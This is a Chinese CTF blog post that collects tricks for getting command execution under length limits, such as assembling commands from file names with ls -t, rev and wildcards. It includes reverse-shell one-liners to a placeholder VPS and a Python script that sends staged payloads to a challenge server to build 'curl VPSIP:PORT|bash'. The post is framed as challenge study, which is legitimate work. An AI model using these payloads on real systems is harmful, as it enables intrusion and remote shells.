CTF | 限制长度下的命令执行 技巧汇总


前言

最近打 CTF 的时候遇到了个 命令执行 的 web 题目,但是它限制了命令的长度

于是查了一些资料,正好就来总结一下一些相关的小技巧吧,喵~


默认排序

ls 默认的排序是按照字母顺序来的,一个一个字符来看,| => 空格 => 数字 => 字母。

- 开头的文件名不看 -,从之后的第一个字符开始比较。


一些 tricks

  1. Linux 下可以用 \ 来拼接命令,实现命令续行,生成文件的话文件名要双写 \\,比如 >ls\\

  2. 注意不要用 . 作为文件名的开头,因为 Linux 下 . 会作为隐藏文件,直接用 ls 列不出来。

  3. 为了不按照默认顺序排序,可以用 ls -t,按照时间顺序,后执行的排前面,于是可以拆分命令再拼接来实现。

  4. dir a b>c 只会将 a b 写到文件 c 中,而其他的文件则不会。

  5. * 可以得到当前目录下的所有目录及文件名,而且能用文件名执行命令。

    *

  6. 利用 rev 命令可以执行反序,先生成一个名为 rev 的文件,再执行 *v,由于 Linux 的通配符,就相当于执行了 rev v,太妙了!

  7. 还可以用 ls -th-h 不影响执行,但 ht- 就能排到 sl 前面去,搭配 *v 使用更好了。

-h, –human-readable with -l and -s, print sizes like 1K 234M 2G etc.

  1. PHP 代码执行 exec 时,只需要输入\ 即可生成 \\,比如 exec(">ls\") 即可,还能省一个字符呢。
  2. 反弹 shell 时候用的 IP 可以换成十进制不带小数点的。(噢你有短域名啊,没事了)
  3. 可以依次执行 >env, *>x,相当于执行 env>x,就能在 x 文件里得到环境变量里的内容。

参考 Payload

这个是反弹 shell 的思路。

最开始需要在 VPS 某个页面上放个反弹 shell 的脚本。

bash -i >& /dev/tcp/VPSIP/PORT 0>&1
# 或者 nc -e /bin/sh VPSIP PORT

然后起个服务监听这个端口。

nc -lvvp PORT

要被打的机器上,先生成 ls -th > g,而后文件名拼接实现 curl VPSIP:PORT|bash,然后执行 sh x 生成反弹的命令,最后 sh g 触发命令执行,在 VPS 上拿到 shell。

# coding: utf-8
import requests
from urllib.parse import quote

baseurl = "http://207.180.200.166:8000/?cmd="
reset = "http://207.180.200.166:8000/?reset"

s = requests.session()
s.get(reset)

# 文件 x 内容为 ls -th > g
list1 = [
    ">sl",
    ">ht-",
    ">g\>",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl VPSIP:PORT|bash
list2 = [
    ">bash",
    ">\|\\",
    ">11\\",
    ">11\\",
    ">1:\\",
    ">11\\",
    ">1.\\",
    ">11\\",
    ">11.\\",
    ">11.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]

for i in list1:
    url = baseurl + quote(str(i))
    print("sending", quote(i))
    r = s.get(url)
    print('==>', r.text)

for j in list2:
    url = baseurl + quote(str(j))
    print("sending", quote(j))
    r = s.get(url)
    print('==>', r.text)

print('sh x')
r = s.get(baseurl+quote("sh x"))
r.encoding = 'utf-8'
print('==>', r.text)

print('sh g')
r = s.get(baseurl+quote("sh g"))
r.encoding = 'utf-8'
print('==>', r.text)
s.get(reset)

参考题目

0x41414141 CTF 2021 hackme:

CTF | 2021 0x41414141CTF 部分 WriteUp


HITCON 2017 BabyFirst Revenge:

HITCON 2017 CTF BabyFirst Revenge

这个用 tar 压缩得到根目录下文件,不过前提是当前目录的文件能下载,php 倒是可以。

Baby First Revenge v2 (GitHub)

里面还有一些奇奇怪怪的操作(


以及一些 汇总

主要也是 HITCON 的题目(怎么这么喜欢出

命令注入突破长度限制 | 从CTF题目讲起



References & Extensive Reading

挖洞经验 | 命令注入突破长度限制

从一道ctf题目学到的绕过长度执行命令姿势

CTF中的命令执行绕过

(溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录